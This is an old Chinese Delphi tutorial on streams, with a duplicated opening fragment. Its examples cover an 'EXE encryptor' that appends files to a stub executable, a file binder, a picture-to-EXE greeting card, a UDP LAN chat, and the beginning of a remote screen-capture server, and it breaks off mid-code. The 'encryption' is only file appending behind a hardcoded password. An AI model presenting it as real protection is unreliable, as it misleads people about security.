fmShareDenyNone :别的程序可以以任何方式打开该文件

TStream还有一个派生类TMemoryStream，实际应用中用的次数也非
常频繁。它叫内存流，就是说在内存中建立一个流对象。它的基本方法和函数跟
上面是一样的。
好了，有了上面的基础后，我们就可以开始我们的编程之行了。
-----------------------------------------------------------------------
二、实际应用之一：利用流制作EXE文件加密器、捆绑、自解压文件及安装程序

我们先来说一下如何制作一个EXE文件加密器吧。
EXE文件加密器的原理：建立两个文件，一个用来添加资源到另外一个EXE文件
里面，称为添加程序。另外一个被添加的EXE文件称为头文件。该程序的功能是
把添加到自己里面的文件读出来。
Windows下的EXE文件结构比较复杂，有的程序还有校验和，当发现自己被改变
后会认为自己被病毒感染而拒绝执行。所以我们把文件添加到自己的程序里面，
这样就不会改变原来的文件结构了。我们先写一个添加函数，该函数的功能是把
一个文件当作一个流添加到另外一个文件的尾部。函数如下：

Function Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
var
Target,Source:TFileStream;
MyFileSize:integer;
begin
try
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareExclusive);
Target:=TFileStream.Create(TargetFile,fmOpenWrite or fmShareExclusive);
try
Target.Seek(0,soFromEnd);//往尾部添加资源
Target.CopyFrom(Source,0);
MyFileSize:=Source.Size+Sizeof(MyFileSize);//计算资源大小，并写入辅程尾部
Target.WriteBuffer(MyFileSize,sizeof(MyFileSize));
finally
Target.Free;
Source.Free;
end;
except
Result:=False;
Exit;
end;
Result:=True;
end;
有了上面的基础，我们应该很容易看得懂这个函数。其中参数SourceFile是
要添加的文件,参数TargetFile是被添加到的目标文件。比如说把a.exe添加到
b.exe里面可以：Cjt_AddtoFile('a.exe',b.exe');如果添加成功就返回True否则
返回假。
根据上面的函数我们可以写出相反的读出函数：
Function Cjt_LoadFromFile(SourceFile,TargetFile :string):Boolean;
var
Source:TFileStream;
Target:TMemoryStream;
MyFileSize:integer;
begin
try
Target:=TMemoryStream.Create;
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
Source.Seek(-sizeof(MyFileSize),soFromEnd);
Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));//读出资源大小
Source.Seek(-MyFileSize,soFromEnd);//定位到资源位置
Target.CopyFrom(Source,MyFileSize-sizeof(MyFileSize));//取出资源
Target.SaveToFile(TargetFile);//存放到文件
finally
Target.Free;
Source.Free;
end;
except
Result:=false;
Exit;
end;
Result:=true;
end;
其中参数SourceFile是已经添加了文件的文件名称,参数TargetFile是取出文
件后保存的目标文件名。比如说Cjt_LoadFromFile('b.exe','a.txt');在b.exe中
取出文件保存为a.txt。如果取出成功就返回True否则返回假。
打开Delphi，新建一个工程，在窗口上放上一个Edit控件Edit1和两个Button:
Button1和Button2。Button的Caption属性分别设置为“确定”和“取消”。在
Button1的Click事件中写代码:
var S:string;
begin
S:=ChangeFileExt(Application.ExeName,'.Cjt');
if Edit1.Text='790617' then
begin
Cjt_LoadFromFile(Application.ExeName,S);
{取出文件保存在当前路径下并命名"原文件.Cjt"}
Winexec(pchar(S),SW_Show);{运行"原文件.Cjt"}
Application.Terminate;{退出程序}
end
else
Application.MessageBox('密码不对,请重新输入！','密码错误',MB_ICONERROR+MB_OK);
编译这个程序，并把EXE文件改名为head.exe。新建一个文本文件head.rc,
内容为: head exefile head.exe,然后把它们拷贝到Delphi的BIN目录下，执行
Dos命令Brcc32.exe head.rc,将产生一个head.res的文件，这个文件就是我们要
的资源文件，先留着。
我们的头文件已经建立了，下面我们来建立添加程序。
新建一个工程，放上以下控件：一个Edit,一个Opendialog,两个Button1的
Caption属性分别设置为"选择文件"和"加密"。
在源程序中添加一句:{$R head.res}并把head.res文件拷贝到程序当前目录下。
这样一来就把刚才的head.exe跟程序一起编译了。
在Button1的Cilck事件里面写下代码：
if OpenDialog1.Execute then Edit1.Text:=OpenDialog1.FileName;
在Button2的Cilck事件里面写下代码：
var S:String;
begin
S:=ExtractFilePath(Edit1.Text);
if ExtractRes('exefile','head',S+'head.exe') then
if Cjt_AddtoFile(Edit1.Text,S+'head.exe') then
if DeleteFile(Edit1.Text) then
if RenameFile(S+'head.exe',Edit1.Text) then
Application.MessageBox('文件加密成功!','信息',MB_ICONINFORMATION+MB_OK)
else
begin
if FileExists(S+'head.exe') then DeleteFile(S+'head.exe');
Application.MessageBox('文件加密失败!','信息',MB_ICONINFORMATION+MB_OK)
end;
end;
其中ExtractRes为自定义函数，它的作用是把head.exe从资源文件中取出来。
Function ExtractRes(ResType, ResName, ResNewName : String):boolean;
var
Res : TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result:=true;
finally
Res.Free;
end;
except
Result:=false;
end;
end;
注意：我们上面的函数只不过是简单的把一个文件添加到另一个文件的尾部。
实际应用中可以改成可以添加多个文件，只要根据实际大小和个数定义好偏移
地址就可以了。比如说文件捆绑机就是把两个或者多个程序添加到一个头文件
里面。那些自解压程序和安装程序的原理也是一样的，不过多了压缩而已。
比如说我们可以引用一个LAH单元，把流压缩后再添加，这样文件就会变的很小。
读出来时先解压就可以了。
另外，文中EXE加密器的例子还有很多不完善的地方，比如说密码固定为
"790617"，取出EXE运行后应该等它运行完毕后删除等等，读者可以自行修改。

---------------------------------------------------------------------


CSDN_文档中心_谈Delphi编程中“流”的应用

谈Delphi编程中“流”的利用
<<电脑商情报>>稿件
谈Delphi编程中“流”的应用

陈经韬

什么是流？流,简单来说就是建立在面向对象基础上的一种抽象的处理数据的工具。在流中，定义了一些处理数据的基本操作，如读取数据，写入数据等，程序员是对流进行所有操作的，而不用关心流的另一头数据的真正流向。流不但可以处理文件，还可以处理动态内存、网络数据等多种数据形式。如果你对流的操作非常熟练，在程序中利用流的方便性，写起程序会大大提高效率的。
下面，笔者通过四个实例:EXE文件加密器、电子贺卡、自制OICQ和网络屏幕传输来说明Delphi编程中“流”的利用。这些例子中的一些技巧曾经是很多软件的秘密而不公开的，现在大家可以无偿的直接引用其中的代码了。
“万丈高楼平地起”，在分析实例之前，我们先来了解一下流的基本概念和函数，只有在理解了这些基本的东西后我们才能进行下一步。请务必认真领会这些基本方法。当然，如果你对它们已经很熟悉了，则可以跳过这一步。

一、Delphi中流的基本概念及函数声明
在Delphi中，所有流对象的基类为TStream类，其中定义了所有流的共同属性和方法。
TStream类中定义的属性介绍如下：
1、Size:此属性以字节返回流中数据大小。
2、Position:此属性控制流中存取指针的位置。
Tstream中定义的虚方法有四个：
1、Read:此方法实现将数据从流中读出。函数原形为：
Function Read(var Buffer;Count:Longint):Longint;virtual;abstract;
参数Buffer为数据读出时放置的缓冲区，Count为需要读出的数据的字节数，该方法返回值为实际读出的字节数，它可以小于或等于Count中指定的值。
2、Write:此方法实现将数据写入流中。函数原形为：
Function Write(var Buffer;Count:Longint):Longint;virtual;abstract;
参数Buffer为将要写入流中的数据的缓冲区，Count为数据的长度字节数，该方法返回值为实际写入流中的字节数。
3、Seek:此方法实现流中读取指针的移动。函数原形为：
Function Seek(Offset:Longint;Origint:Word):Longint;virtual;abstract;
参数Offset为偏移字节数,参数Origint指出Offset的实际意义，其可能的取值如下：
soFromBeginning:Offset为移动后指针距离数据开始的位置。此时Offset必须大于或者等于零。
soFromCurrent:Offset为移动后指针与当前指针的相对位置。
soFromEnd:Offset为移动后指针距离数据结束的位置。此时Offset必须小于或者等于零。该方法返回值为移动后指针的位置。
4、Setsize:此方法实现改变数据的大小。函数原形为：
Function Setsize(NewSize:Longint);virtual;
另外，TStream类中还定义了几个静态方法：
1、ReadBuffer:此方法的作用是从流中当前位置读取数据。函数原形为：
Procedure ReadBuffer(var Buffer;Count:Longint);
参数的定义跟上面的Read相同。注意：当读取的数据字节数与需要读取的字节数不相同时，将产生EReadError异常。
2、WriteBuffer:此方法的作用是在当前位置向流写入数据。函数原形为：
Procedure WriteBuffer(var Buffer;Count:Longint);
参数的定义跟上面的Write相同。注意：当写入的数据字节数与需要写入的字节数不相同时，将产生EWriteError异常。
3、CopyFrom:此方法的作用是从其它流中拷贝数据流。函数原形为：
Function CopyFrom(Source:TStream;Count:Longint):Longint;
参数Source为提供数据的流，Count为拷贝的数据字节数。当Count大于0时，CopyFrom从Source参数的当前位置拷贝Count个字节的数据；当Count等于0时，CopyFrom设置Source参数的Position属性为0,然后拷贝Source的所有数据；
TStream还有其它派生类，其中最常用的是TFileStream类。使用TFileStream类来存取文件，首先要建立一个实例。声明如下：
constructor Create(const Filename:string;Mode:Word);
Filename为文件名（包括路径）,参数Mode为打开文件的方式，它包括文件的打开模式和共享模式，其可能的取值和意义如下：

打开模式：
fmCreate :用指定的文件名建立文件，如果文件已经存在则打开它。
fmOpenRead :以只读方式打开指定文件
fmOpenWrite :以只写方式打开指定文件
fmOpenReadWrite:以写写方式打开指定文件
共享模式：
fmShareCompat :共享模式与FCBs兼容
fmShareExclusive:不允许别的程序以任何方式打开该文件
fmShareDenyWrite:不允许别的程序以写方式打开该文件
fmShareDenyRead :不允许别的程序以读方式打开该文件
fmShareDenyNone :别的程序可以以任何方式打开该文件

TStream还有一个派生类TMemoryStream，实际应用中用的次数也非常频繁。它叫内存流，就是说在内存中建立一个流对象。它的基本方法和函数跟上面是一样的。
好了，有了上面的基础后，我们就可以开始我们的编程之行了。
-----------------------------------------------------------------------
二、实际应用之一：利用流制作EXE文件加密器、捆绑、自解压文件及安装程序

我们先来说一下如何制作一个EXE文件加密器吧。
EXE文件加密器的原理：建立两个文件，一个用来添加资源到另外一个EXE文件里面，称为添加程序。另外一个被添加的EXE文件称为头文件。该程序的功能是把添加到自己里面的文件读出来。Windows下的EXE文件结构比较复杂，有的程序还有校验和，当发现自己被改变后会认为自己被病毒感染而拒绝执行。所以我们把文件添加到自己的程序里面，这样就不会改变原来的文件结构了。我们先写一个添加函数，该函数的功能是把一个文件当作一个流添加到另外一个文件的尾部。函数如下：

Function Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
var
Target,Source:TFileStream;
MyFileSize:integer;
begin
try
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareExclusive);
Target:=TFileStream.Create(TargetFile,fmOpenWrite or fmShareExclusive);
try
Target.Seek(0,soFromEnd);//往尾部添加资源
Target.CopyFrom(Source,0);
MyFileSize:=Source.Size+Sizeof(MyFileSize);//计算资源大小，并写入辅程尾部
Target.WriteBuffer(MyFileSize,sizeof(MyFileSize));
finally
Target.Free;
Source.Free;
end;
except
Result:=False;
Exit;
end;
Result:=True;
end;
有了上面的基础，我们应该很容易看得懂这个函数。其中参数SourceFile是要添加的文件,参数TargetFile是被添加到的目标文件。比如说把a.exe添加到b.exe里面可以：Cjt_AddtoFile('a.exe',b.exe');如果添加成功就返回True否则返回假。
根据上面的函数我们可以写出相反的读出函数：
Function Cjt_LoadFromFile(SourceFile,TargetFile :string):Boolean;
var
Source:TFileStream;
Target:TMemoryStream;
MyFileSize:integer;
begin
try
Target:=TMemoryStream.Create;
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
Source.Seek(-sizeof(MyFileSize),soFromEnd);
Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));//读出资源大小
Source.Seek(-MyFileSize,soFromEnd);//定位到资源位置
Target.CopyFrom(Source,MyFileSize-sizeof(MyFileSize));//取出资源
Target.SaveToFile(TargetFile);//存放到文件
finally
Target.Free;
Source.Free;
end;
except
Result:=false;
Exit;
end;
Result:=true;
end;
其中参数SourceFile是已经添加了文件的文件名称,参数TargetFile是取出文件后保存的目标文件名。比如说Cjt_LoadFromFile('b.exe','a.txt');在b.exe中取出文件保存为a.txt。如果取出成功就返回True否则返回假。
打开Delphi，新建一个工程，在窗口上放上一个Edit控件Edit1和两个Button:Button1和Button2。Button的Caption属性分别设置为“确定”和“取消”。在Button1的Click事件中写代码:
var S:string;
begin
S:=ChangeFileExt(Application.ExeName,'.Cjt');
if Edit1.Text='790617' then
begin
Cjt_LoadFromFile(Application.ExeName,S);
{取出文件保存在当前路径下并命名"原文件.Cjt"}
Winexec(pchar(S),SW_Show);{运行"原文件.Cjt"}
Application.Terminate;{退出程序}
end
else
Application.MessageBox('密码不对,请重新输入！','密码错误',MB_ICONERROR+MB_OK);
编译这个程序，并把EXE文件改名为head.exe。新建一个文本文件head.rc,内容为: head exefile head.exe,然后把它们拷贝到Delphi的BIN目录下，执行Dos命令Brcc32.exe head.rc,将产生一个head.res的文件，这个文件就是我们要的资源文件，先留着。
我们的头文件已经建立了，下面我们来建立添加程序。
新建一个工程，放上以下控件：一个Edit,一个Opendialog,两个Button1的Caption属性分别设置为"选择文件"和"加密"。在源程序中添加一句:{$R head.res}并把head.res文件拷贝到程序当前目录下。这样一来就把刚才的head.exe跟程序一起编译了。
在Button1的Cilck事件里面写下代码：
if OpenDialog1.Execute then Edit1.Text:=OpenDialog1.FileName;
在Button2的Cilck事件里面写下代码：
var S:String;
begin
S:=ExtractFilePath(Edit1.Text);
if ExtractRes('exefile','head',S+'head.exe') then
if Cjt_AddtoFile(Edit1.Text,S+'head.exe') then
if DeleteFile(Edit1.Text) then
if RenameFile(S+'head.exe',Edit1.Text) then
Application.MessageBox('文件加密成功!','信息',MB_ICONINFORMATION+MB_OK)
else
begin
if FileExists(S+'head.exe') then DeleteFile(S+'head.exe');
Application.MessageBox('文件加密失败!','信息',MB_ICONINFORMATION+MB_OK)
end;
end;
其中ExtractRes为自定义函数，它的作用是把head.exe从资源文件中取出来。
Function ExtractRes(ResType, ResName, ResNewName : String):boolean;
var
Res : TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result:=true;
finally
Res.Free;
end;
except
Result:=false;
end;
end;
注意：我们上面的函数只不过是简单的把一个文件添加到另一个文件的尾部。实际应用中可以改成可以添加多个文件，只要根据实际大小和个数定义好偏移地址就可以了。比如说文件捆绑机就是把两个或者多个程序添加到一个头文件里面。那些自解压程序和安装程序的原理也是一样的，不过多了压缩而已。比如说我们可以引用一个LAH单元，把流压缩后再添加，这样文件就会变的很小。读出来时先解压就可以了。另外，文中EXE加密器的例子还有很多不完善的地方，比如说密码固定为"790617"，取出EXE运行后应该等它运行完毕后删除等等，读者可以自行修改。

---------------------------------------------------------------------
三、实际应用之二：利用流制作可执行电子贺卡

我们经常看到一些电子贺卡之类的制作软件，可以让你自己选择图片，然后它会生成一个EXE可执行文件给你。打开贺卡时就会一边放音乐一边显示出图片来。现在学了流操作之后，我们也可以做一个了。
添加图片过程我们可以直接用前面的Cjt_AddtoFile，而现在要做的是如何把图像读出并显示。我们用前面的Cjt_LoadFromFile先把图片读出来保存为文件再调入也是可以的，但是还有更简单的方法，就是直接把文件流读出来显示，有了流这个利器，一切都变的简单了。
现在的图片比较流行的是BMP格式和JPG格式。我们现在就针对这两种图片写出读取并显示函数。

Function Cjt_BmpLoad(ImgBmp:TImage;SourceFile:String):Boolean;
var
Source:TFileStream;
MyFileSize:integer;
begin
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
try
Source.Seek(-sizeof(MyFileSize),soFromEnd);
Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));//读出资源
Source.Seek(-MyFileSize,soFromEnd);//定位到资源开始位置
ImgBmp.Picture.Bitmap.LoadFromStream(Source);
finally
Source.Free;
end;
except
Result:=False;
Exit;
end;
Result:=True;
end;
上面是读出BMP图片的，下面的是读出JPG图片的函数，因为要用到JPG单元，所以要在程序中添加一句:uses jpeg。

Function Cjt_JpgLoad(JpgImg:Timage;SourceFile:String):Boolean;
var
Source:TFileStream;
MyFileSize:integer;
Myjpg: TJpegImage;
begin
try
Myjpg:= TJpegImage.Create;
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
Source.Seek(-sizeof(MyFileSize),soFromEnd);
Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));
Source.Seek(-MyFileSize,soFromEnd);
Myjpg.LoadFromStream(Source);
JpgImg.Picture.Bitmap.Assign(Myjpg);
finally
Source.Free;
Myjpg.free;
end;
except
Result:=false;
Exit;
end;
Result:=true;
end;
有了这两个函数，我们就可以制作读出程序了。下面我们以BMP图片为例：
运行Delphi，新建一个工程，放上一个显示图像控件Image1。在窗口的Create事件中写上一句就可以了：
Cjt_BmpLoad(Image1,Application.ExeName);
这个就是头文件了，然后我们用前面的方法生成一个head.res资源文件。
下面就可以开始制作我们的添加程序了。全部代码如下：
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, ExtDlgs;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenPictureDialog1: TOpenPictureDialog;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
Function ExtractRes(ResType, ResName, ResNewName : String):boolean;
Function Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
Function TForm1.ExtractRes(ResType, ResName, ResNewName : String):boolean;
var
Res : TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result:=true;
finally
Res.Free;
end;
except
Result:=false;
end;
end;
Function TForm1.Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
var
Target,Source:TFileStream;
MyFileSize:integer;
begin
try
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareExclusive);
Target:=TFileStream.Create(TargetFile,fmOpenWrite or fmShareExclusive);
try
Target.Seek(0,soFromEnd);//往尾部添加资源
Target.CopyFrom(Source,0);
MyFileSize:=Source.Size+Sizeof(MyFileSize);//计算资源大小，并写入辅程尾部
Target.WriteBuffer(MyFileSize,sizeof(MyFileSize));
finally
Target.Free;
Source.Free;
end;
except
Result:=False;
Exit;
end;
Result:=True;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Caption:='Bmp2Exe演示程序.作者:陈经韬';
Edit1.Text:='';
OpenPictureDialog1.DefaultExt := GraphicExtension(TBitmap);
OpenPictureDialog1.Filter := GraphicFilter(TBitmap);

Button1.Caption:='选择BMP图片';
Button2.Caption:='生成EXE';
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenPictureDialog1.Execute then
Edit1.Text:=OpenPictureDialog1.FileName;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
HeadTemp:String;
begin
if Not FileExists(Edit1.Text) then
begin
Application.MessageBox('BMP图片文件不存在，请重新选择!','信息',MB_ICONINFORMATION+MB_OK)
Exit;
end;
HeadTemp:=ChangeFileExt(Edit1.Text,'.exe');
if ExtractRes('exefile','head',HeadTemp) then
if Cjt_AddtoFile(Edit1.Text,HeadTemp) then
Application.MessageBox('EXE文件生成成功!','信息',MB_ICONINFORMATION+MB_OK)
else
begin
if FileExists(HeadTemp) then DeleteFile(HeadTemp);
Application.MessageBox('EXE文件生成失败!','信息',MB_ICONINFORMATION+MB_OK)
end;
end;
end.
怎么样？很神奇吧:)把程序界面弄的漂亮点，再添加一些功能，你会发现比起那些要注册的软件来也不会逊多少吧。
-----------------------------------------------------------------------
实际应用之三：利用流制作自己的OICQ

OICQ是深圳腾讯公司的一个网络实时通讯软件，在国内拥有大量的用户群。但OICQ必须连接上互联网登陆到腾讯的服务器才能使用。所以我们可以自己写一个在局部网里面使用。
OICQ使用的是UDP协议，这是一种无连接协议，即通信双方不用建立连接就可以发送信息，所以效率比较高。Delphi本身自带的FastNEt公司的NMUDP控件就是一个UDP协议的用户数据报控件。不过要注意的是如果你使用了这个控件必须退出程序才能关闭计算机，因为TNMXXX控件有BUG。所有nm控件的基础 PowerSocket用到的ThreadTimer，用到一个隐藏的窗口（类为TmrWindowClass）处理有硬伤。
出问题的地方：
Psock::TThreadTimer::WndProc(var msg:TMessage)
if msg.message=WM_TIMER then
他自己处理
msg.result:=0
else
msg.result:=DefWindowProc(0,....)
end
问题就出在调用 DefWindowProc时，传输的HWND参数居然是常数0，这样实际上DefWindowProc是不能工作的，对任何输入的消息的调用均返回0，包括WM_QUERYENDSESSION，所以不能退出windows。由于DefWindowProc的不正常调用，实际上除WM_TIMER，其他消息由DefWindowProc处理都是无效的。
解决的办法是在 PSock.pas
在 TThreadTimer.Wndproc 内
Result := DefWindowProc( 0, Msg, WPARAM, LPARAM );
改为：
Result := DefWindowProc( FWindowHandle, Msg, WPARAM, LPARAM );
早期低版本的OICQ也有这个问题，如果不关闭OICQ的话，关闭计算机时屏幕闪了一下又返回了。
好了，废话少说，让我们编写我们的OICQ吧,这个实际上是Delphi自带的例子而已:)
新建一个工程，在FASTNET面版拖一个NMUDP控件到窗口，然后依次放上三个EDIT,名字分别为EditIP、EditPort、EditMyTxt，三个按钮BtSend、BtClear、BtSave，一个MEMOMemoReceive，一个SaveDialog和一个状态条StatusBar1。当用户点击BtSend时，建立一个内存流对象，把要发送的文字信息写进内存流，然后NMUDP把流发送出去。当NMUDP有数据接收时，触发它的DataReceived事件，我们在这里再把接收到的流转换为字符信息，然后显示出来。
注意：所有的流对象建立后使用完毕后要记得释放(Free)，其实它的释构函数应该为Destroy，但如果建立流失败的话，用Destroy会产生异常，而用Free的话程序会先检查有没有成功建立了流，如果建立了才释放，所以用Free比较安全。
在这个程序中我们用到了NMUDP控件，它有几个重要的属性。RemoteHost表示远程电脑的IP或者计算机名，LocalPort是本地端口，主要监听有没有数据传入。而RemotePort是远程端口，发送数据时通过这个端口把数据发送出去。理解这些已经可以看懂我们的程序了。

全部代码如下：
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, ComCtrls,NMUDP;

type
TForm1 = class(TForm)
NMUDP1: TNMUDP;
EditIP: TEdit;
EditPort: TEdit;
EditMyTxt: TEdit;
MemoReceive: TMemo;
BtSend: TButton;
BtClear: TButton;
BtSave: TButton;
StatusBar1: TStatusBar;
SaveDialog1: TSaveDialog;
procedure BtSendClick(Sender: TObject);
procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure NMUDP1InvalidHost(var handled: Boolean);
procedure NMUDP1DataSend(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BtClearClick(Sender: TObject);
procedure BtSaveClick(Sender: TObject);
procedure EditMyTxtKeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.BtSendClick(Sender: TObject);
var
MyStream: TMemoryStream;
MySendTxt: String;
Iport,icode:integer;
Begin
Val(EditPort.Text,Iport,icode);
if icode<>0 then
begin
Application.MessageBox('端口必须为数字，请重新输入!','信息',MB_ICONINFORMATION+MB_OK);
Exit;
end;
NMUDP1.RemoteHost := EditIP.Text; {远程主机}
NMUDP1.LocalPort:=Iport; {本地端口}
NMUDP1.RemotePort := Iport; {远程端口}
MySendTxt := EditMyTxt.Text;
MyStream := TMemoryStream.Create; {建立流}
try
MyStream.Write(MySendTxt[1], Length(EditMyTxt.Text));{写数据}
NMUDP1.SendStream(MyStream); {发送流}
finally
MyStream.Free; {释放流}
end;
end;

procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
MyStream: TMemoryStream;
MyReciveTxt: String;
begin
MyStream := TMemoryStream.Create; {建立流}
try
NMUDP1.ReadStream(MyStream);{接收流}
SetLength(MyReciveTxt,NumberBytes);{NumberBytes为接收到的字节数}
MyStream.Read(MyReciveTxt[1],NumberBytes);{读数据}
MemoReceive.Lines.Add('接收到来自主机'+FromIP+'的信息:'+MyReciveTxt);
finally
MyStream.Free; {释放流}
end;
end;

procedure TForm1.NMUDP1InvalidHost(var handled: Boolean);
begin
Application.MessageBox('对方IP地址不正确，请重新输入!','信息',MB_ICONINFORMATION+MB_OK);
end;

procedure TForm1.NMUDP1DataSend(Sender: TObject);
begin
StatusBar1.SimpleText:='信息成功发出!';
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
EditIP.Text:='127.0.0.1';
EditPort.Text:='8868';
BtSend.Caption:='发送';
BtClear.Caption:='清除聊天记录';
BtSave.Caption:='保存聊天记录';
MemoReceive.ScrollBars:=ssBoth;
MemoReceive.Clear;
EditMyTxt.Text:='在这里输入信息,然后点击发送.';

StatusBar1.SimplePanel:=true;
end;

procedure TForm1.BtClearClick(Sender: TObject);
begin
MemoReceive.Clear;
end;

procedure TForm1.BtSaveClick(Sender: TObject);
begin
if SaveDialog1.Execute then MemoReceive.Lines.SaveToFile(SaveDialog1.FileName);
end;

procedure TForm1.EditMyTxtKeyPress(Sender: TObject; var Key: Char);
begin
if Key=#13 then BtSend.Click;
end;
end.
上面的程序跟OICQ相比当然差之甚远，因为OICQ利用的是Socket5通信方式。它上线时先从服务器取回好友信息和在线状态，发送超时还会将信息先保存在服务器，等对方下次上线后再发送然后把服务器的备份删除。你可以根据前面学的概念来完善这个程序，比如说再添加一个NMUDP控件来管理在线状态，发送的信息先转换成ASCII码进行与或运行并加上一个头信息，接收方接收信息后先判断信息头正确与否，如果正确才把信息解密显示出来，这样就提高了安全保密性。
另外，UDP协议还有一个很大的好处就是可以广播，就是说处于一个网段的都可以接收到信息而不必指定具体的IP地址。网段一般分A、B、C三类,
1~126.XXX.XXX.XXX (A类网) :广播地址为XXX.255.255.255
128~191.XXX.XXX.XXX(B类网):广播地址为XXX.XXX.255.255
192~254.XXX.XXX.XXX(C类网):广播地址为XXX.XXX.XXX.255
比如说三台计算机192.168.0.1、192.168.0.10、192.168.0.18，发送信息时只要指定IP地址为192.168.0.255就可以实现广播了。下面给出一个转换IP为广播IP的函数，快拿去完善自己的OICQ吧^-^.

Function Trun_ip(S:string):string;
var s1,s2,s3,ss,sss,Head:string;
n,m:integer;
begin
sss:=S;
n:=pos('.',s);
s1:=copy(s,1,n);
m:=length(s1);
delete(s,1,m);
Head:=copy(s1,1,(length(s1)-1));
n:=pos('.',s);
s2:=copy(s,1,n);
m:=length(s2);
delete(s,1,m);
n:=pos('.',s);
s3:=copy(s,1,n);
m:=length(s3);
delete(s,1,m);
ss:=sss;
if strtoint(Head) in [1..126] then ss:=s1+'255.255.255'; //1~126.255.255.255 (A类网)
if strtoint(Head) in [128..191] then ss:=s1+s2+'255.255';//128~191.XXX.255.255(B类网)
if strtoint(Head) in [192..254] then ss:=s1+s2+s3+'255'; //192~254.XXX.XXX.255(C类网)
Result:=ss;
end;

-----------------------------------------------------------------------
五、实际应用之四：利用流实现网络传输屏幕图像

大家应该见过很多网管程序，这类程序其中有一个功能就是监控远程电脑的屏幕。实际上，这也是利用流操作来实现的。下面我们给出一个例子，这个例子分两个程序，一个服务端，一个是客户端。程序编译后可以直接在单机、局部网或者互联网上使用。程序中已经给出相应注释。后面我们再来作具体分析。
新建一个工程，在Internet面版上拖一个ServerSocket控件到窗口，该控件主要用于监听客户端，用来与客户端建立连接和通讯。设置好监听端口后调用方法Open或者Active:=True即开始工作。注意：跟前面的NMUDP不同，当Socket开始监听后就不能再改变它的端口，要改变的话必须先调用Close或设置Active为False，否则将会产生异常。另外，如果该端口已经打开的话，就不能再用这个端口了。所以程序运行尚未退出就不能再运行这个程序，否则也会产生异常，即弹出出错窗口。实际应用中可以通过判断程序是否已经运行，如果已经运行就退出的方法来避免出错。
当客户端有数据传入，将触发ServerSocket1ClientRead事件，我们可以在这里对接收的数据进行处理。在本程序中，主要是接收客户端发送过来的字符信息并根据事先的约定来进行相应操作。
程序全部代码如下：

unit Unit1;{服务端程序}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, JPEG,ExtCtrls, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
procedure Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
{自定义抓屏函数,DrawCur表示抓鼠标图像与否}
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
MyStream: TMemorystream;{内存流对象}
implementation
{$R *.DFM}
procedure TForm1.Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
var
Cursorx, Cursory: integer;
dc: hdc;
Mycan: Tcanvas;
R: TRect;
DrawPos: TPoint;
MyCursor: TIcon;
hld: hwnd;
Threadld: dword;
mp: tpoint;
pIconInfo: TIconInfo;
begin
Mybmp := Tbitmap.Create; {建立BMPMAP }
Mycan := TCanvas.Create; {屏幕截取}
dc := GetWindowDC(0);
try
Mycan.Handle := dc;
R := Rect(0, 0, screen.Width, screen.Height);
Mybmp.Width := R.Right;
Mybmp.Height := R.Bottom;
Mybmp.Canvas.CopyRect(R, Mycan, R);
finally
releaseDC(0, DC);
end;
Mycan.Handle := 0;
Mycan.Free;
if DrawCur then {画上鼠标图象}
begin
GetCursorPos(DrawPos);
MyCursor := TIcon.Create;
getcursorpos(mp);
hld := WindowFromPoint(mp);
Threadld := GetWindowThreadProcessId(hld, nil);
AttachThreadInput(GetCurrentThreadId, Threadld, True);
MyCursor.Handle := Getcursor();
AttachThreadInput(GetCurrentThreadId, threadld, False);
GetIconInfo(Mycursor.Handle, pIconInfo);
cursorx := DrawPos.x - round(pIconInfo.xHotspot);
cursory := DrawPos.y - round(pIconInfo.yHotspot);
Mybmp.Canvas.Draw(cursorx, cursory, MyCursor); {画上鼠标}
DeleteObject(pIconInfo.hbmColor);{GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象}
